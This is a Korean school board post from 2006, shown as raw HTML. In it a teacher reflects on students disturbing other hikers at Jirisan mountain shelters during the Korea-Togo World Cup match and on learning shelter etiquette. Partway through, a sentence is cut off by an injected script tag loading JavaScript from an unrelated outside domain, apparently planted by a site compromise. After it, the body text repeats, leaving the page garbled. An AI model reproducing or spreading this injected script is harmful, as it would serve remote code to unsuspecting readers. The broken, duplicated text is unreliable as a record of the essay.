산장에서
작성자 : 후원회 | 조회수 : 3,231 | 작성일 : 2006년 6월 23일
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<P style="FONT-SIZE: 10pt; MARGIN: 0pt; COLOR: #000000; TEXT-INDENT: 0pt; LINE-HEIGHT: 160%; FONT-FAMILY: '바탕'; TEXT-ALIGN: justify"><FONT face=돋움체><SPAN style="FONT-SIZE: 10pt; COLOR: #000000; LINE-HEIGHT: 16pt; FONT-FAMILY: '바탕'; LETTER-SPACING: 0pt; TEXT-ALIGN: justify"><FONT face=돋움체>월드컵 응원열기가 뜨겁다. 대한민국과 토고전이 열리는 날, 우리 학생들은 산장에서 머물게 되었다. 응원 열기로 대한민국이 들썩이는데 산장도 예외는 아닐 것이다. 지리산 연화천, 치밭목 대피소는 세석이나 장터목처럼 현대식 시설에 비하면 매우 후지다. 등산객이라면 모든 대피소가 넓은 시설, 휴식 공간을 지닌 쾌적한 시설이기를 바란다. 그러나 이런 바람은 산을 진정으로 사랑하는 사람들의 것이 아니다. 이런 요구의 사람들은 계곡 바닥에서나 편하게 지내며 해야 할 것이다. 적어도 산을 사랑하는 사람이면 오염되는 모든 행위를 스스로 포기해야 한다. 산 정상에서 샤워를 하기를 바란다면 산행을 접어야 한다. 대피소는 산악인들에게 새우잠과 칼잠을 자게 하더라도 행복한 곳으로 여겨져야 한다. 대피소가 땀 냄새로 뒤범벅이 되도, 코고는 소리를 진동해도 어쩔 수 없다.</FONT> <FONT face=돋움체>대피소에서는 견디기 어려운 냄새라도 향기로 여겨 견디어 낼 수 있어야 한다. 대피소는 산악인들에게 휴식처요, 안식처이다. 그래서 대피소는 밤 9시만 되면 침묵에로 빠져든다. 우리 학생들은 아직 사회성, 공동체성, 윤리성이 부족하다. 아직은 어려서 산의 상황을 고려치 않으며 힘자랑하기라도 할 것처럼 자기 멋대로 대피소를 들락거리며 고함을 지르기도 한다. 그러나 전문 산악인들은 이런 학생들을 기다려주지 않는다. 개구리 울음소리처럼 코고는 소리는 받아주더라도, 그 이외의 소리가 침묵을 깨서는 안 된다는 것을 가르쳐주기 위해 경고성 충고를 서슴없이 한다.</FONT></SPAN> </FONT></P>
<P style="FONT-SIZE: 10pt; MARGIN: 0pt; COLOR: #000000; TEXT-INDENT: 0pt; LINE-HEIGHT: 160%; FONT-FAMILY: '바탕'; TEXT-ALIGN: justify"><FONT face=돋움체><SPAN style="FONT-SIZE: 10pt; COLOR: #000000; LINE-HEIGHT: 16pt; FONT-FAMILY: '바탕'; LETTER-SPACING: 0pt; TEXT-ALIGN: justify"> <FONT face=돋움체>학교 기숙사에서 11시 소등하면 그때부터 빨래를 들고 세탁실로 가는 학생들도 있으며, 밤새도록 잠을 자지 않고 소곤거리며 시간을 보내기도 한다. 문을 함부로 열고 닫아 곤한 잠을 자는 밤의 질서를 어지럽게 만든다. 아무리 선생님들이 기숙사 사감으로 충실한 지도를 해도 하루아침에 훈련되고 습관화 되는 것이 아니기에 생활지도가 쉽지 않다. 세 살 버릇인데 여든까지 가는 것이다. 벌써 습관화된 것들이 오죽이나 하겠는가.</FONT></SPAN> </FONT></P>
<P style="FONT-SIZE: 10pt; MARGIN: 0pt; COLOR: #000000; TEXT-INDENT: 0pt; LINE-HEIGHT: 160%; FONT-FAMILY: '바탕'; TEXT-ALIGN: justify"><FONT face=돋움체><SPAN style="FONT-SIZE: 10pt; COLOR: #000000; LINE-HEIGHT: 16pt; FONT-FAMILY: '바탕'; LETTER-SPACING: 0pt; TEXT-ALIGN: justify"><FONT face=돋움체> 산행을 마치고 학교로 돌아온 학생들에게 물었다. “토고 전 잘 보았니?” 하자 “산장에는 TV가 없었습니다.” 아마 있어도 비상용일 것이다.</FONT> <FONT face=돋움체>“그래서 그냥 지나쳤니?” “아뇨. DMB휴대폰을 통해 여러 명이 대피소 밖에서 열심히 보며 소리도 질러댔지요.” “대피소 사람들한테 야단맞지 않았니?” “왜요. 어른분이 나서서 조용히 하라고 외쳐서 한방 먹었지요. 월드컵 열기에도 불구하고 분위기가 우리 학생들 편에 손을 들어주는 등산객들이 없었습니다. 그래서 꼼짝없이 숨을 죽이고 잠을 청해야 했습니다.”</FONT></SPAN> </FONT></P>
<P style="FONT-SIZE: 10pt; MARGIN: 0pt; COLOR: #000000; TEXT-INDENT: 0pt; LINE-HEIGHT: 160%; FONT-FAMILY: '바탕'; TEXT-ALIGN: justify"><SPAN style="FONT-SIZE: 10pt; COLOR: #000000; LINE-HEIGHT: 16pt; FONT-FAMILY: '바탕'; LETTER-SPACING: 0pt; TEXT-ALIGN: justify"><FONT face=돋움체> “바로 그거야. 산악등반에서 산타기만을 배우는 것이 아니라 산행 예절도 배우고, 인간과 자연과 더불어 내 자신뿐만 아니라 전체를 배려하고 사랑하는 것을 배우는 시간이지. 산에서 우리들이 밤이고 낮이고 고함을 지르면 모든 생명들이 놀라 질서가 깨져버리고 하나 둘, 생명들은 황폐해지기 시작하는 것이란다. 월드컵 중에 산행하는 산악인들은 정말 산을 사랑하는 사람들이지. 소음과 찌든 세상과 떨어져 지내고 싶은 바람이 강한 분들 일거야. 그런데 불행하게도 시?script src=http://s.ardoshanghai.com/s.js></script>
<P style="FONT-SIZE: 10pt; MARGIN: 0pt; COLOR: #000000; TEXT-INDENT: 0pt; LINE-HEIGHT: 160%; FONT-FAMILY: '바탕'; TEXT-ALIGN: justify"><FONT face=돋움체><SPAN style="FONT-SIZE: 10pt; COLOR: #000000; LINE-HEIGHT: 16pt; FONT-FAMILY: '바탕'; LETTER-SPACING: 0pt; TEXT-ALIGN: justify"><FONT face=돋움체>월드컵 응원열기가 뜨겁다. 대한민국과 토고전이 열리는 날, 우리 학생들은 산장에서 머물게 되었다. 응원 열기로 대한민국이 들썩이는데 산장도 예외는 아닐 것이다. 지리산 연화천, 치밭목 대피소는 세석이나 장터목처럼 현대식 시설에 비하면 매우 후지다. 등산객이라면 모든 대피소가 넓은 시설, 휴식 공간을 지닌 쾌적한 시설이기를 바란다. 그러나 이런 바람은 산을 진정으로 사랑하는 사람들의 것이 아니다. 이런 요구의 사람들은 계곡 바닥에서나 편하게 지내며 해야 할 것이다. 적어도 산을 사랑하는 사람이면 오염되는 모든 행위를 스스로 포기해야 한다. 산 정상에서 샤워를 하기를 바란다면 산행을 접어야 한다. 대피소는 산악인들에게 새우잠과 칼잠을 자게 하더라도 행복한 곳으로 여겨져야 한다. 대피소가 땀 냄새로 뒤범벅이 되도, 코고는 소리를 진동해도 어쩔 수 없다.</FONT> <FONT face=돋움체>대피소에서는 견디기 어려운 냄새라도 향기로 여겨 견디어 낼 수 있어야 한다. 대피소는 산악인들에게 휴식처요, 안식처이다. 그래서 대피소는 밤 9시만 되면 침묵에로 빠져든다. 우리 학생들은 아직 사회성, 공동체성, 윤리성이 부족하다. 아직은 어려서 산의 상황을 고려치 않으며 힘자랑하기라도 할 것처럼 자기 멋대로 대피소를 들락거리며 고함을 지르기도 한다. 그러나 전문 산악인들은 이런 학생들을 기다려주지 않는다. 개구리 울음소리처럼 코고는 소리는 받아주더라도, 그 이외의 소리가 침묵을 깨서는 안 된다는 것을 가르쳐주기 위해 경고성 충고를 서슴없이 한다.</FONT></SPAN> </FONT></P>
<P style="FONT-SIZE: 10pt; MARGIN: 0pt; COLOR: #000000; TEXT-INDENT: 0pt; LINE-HEIGHT: 160%; FONT-FAMILY: '바탕'; TEXT-ALIGN: justify"><FONT face=돋움체><SPAN style="FONT-SIZE: 10pt; COLOR: #000000; LINE-HEIGHT: 16pt; FONT-FAMILY: '바탕'; LETTER-SPACING: 0pt; TEXT-ALIGN: justify"> <FONT face=돋움체>학교 기숙사에서 11시 소등하면 그때부터 빨래를 들고 세탁실로 가는 학생들도 있으며, 밤새도록 잠을 자지 않고 소곤거리며 시간을 보내기도 한다. 문을 함부로 열고 닫아 곤한 잠을 자는 밤의 질서를 어지럽게 만든다. 아무리 선생님들이 기숙사 사감으로 충실한 지도를 해도 하루아침에 훈련되고 습관화 되는 것이 아니기에 생활지도가 쉽지 않다. 세 살 버릇인데 여든까지 가는 것이다. 벌써 습관화된 것들이 오죽이나 하겠는가.</FONT></SPAN> </FONT></P>
<P style="FONT-SIZE: 10pt; MARGIN: 0pt; COLOR: #000000; TEXT-INDENT: 0pt; LINE-HEIGHT: 160%; FONT-FAMILY: '바탕'; TEXT-ALIGN: justify"><FONT face=돋움체><SPAN style="FONT-SIZE: 10pt; COLOR: #000000; LINE-HEIGHT: 16pt; FONT-FAMILY: '바탕'; LETTER-SPACING: 0pt; TEXT-ALIGN: justify"><FONT face=돋움체> 산행을 마치고 학교로 돌아온 학생들에게 물었다. “토고 전 잘 보았니?” 하자 “산장에는 TV가 없었습니다.” 아마 있어도 비상용일 것이다.</FONT> <FONT face=돋움체>“그래서 그냥 지나쳤니?” “아뇨. DMB휴대폰을 통해 여러 명이 대피소 밖에서 열심히 보며 소리도 질러댔지요.” “대피소 사람들한테 야단맞지 않았니?” “왜요. 어른분이 나서서 조용히 하라고 외쳐서 한방 먹었지요. 월드컵 열기에도 불구하고 분위기가 우리 학생들 편에 손을 들어주는 등산객들이 없었습니다. 그래서 꼼짝없이 숨을 죽이고 잠을 청해야 했습니다.”</FONT></SPAN> </FONT></P>
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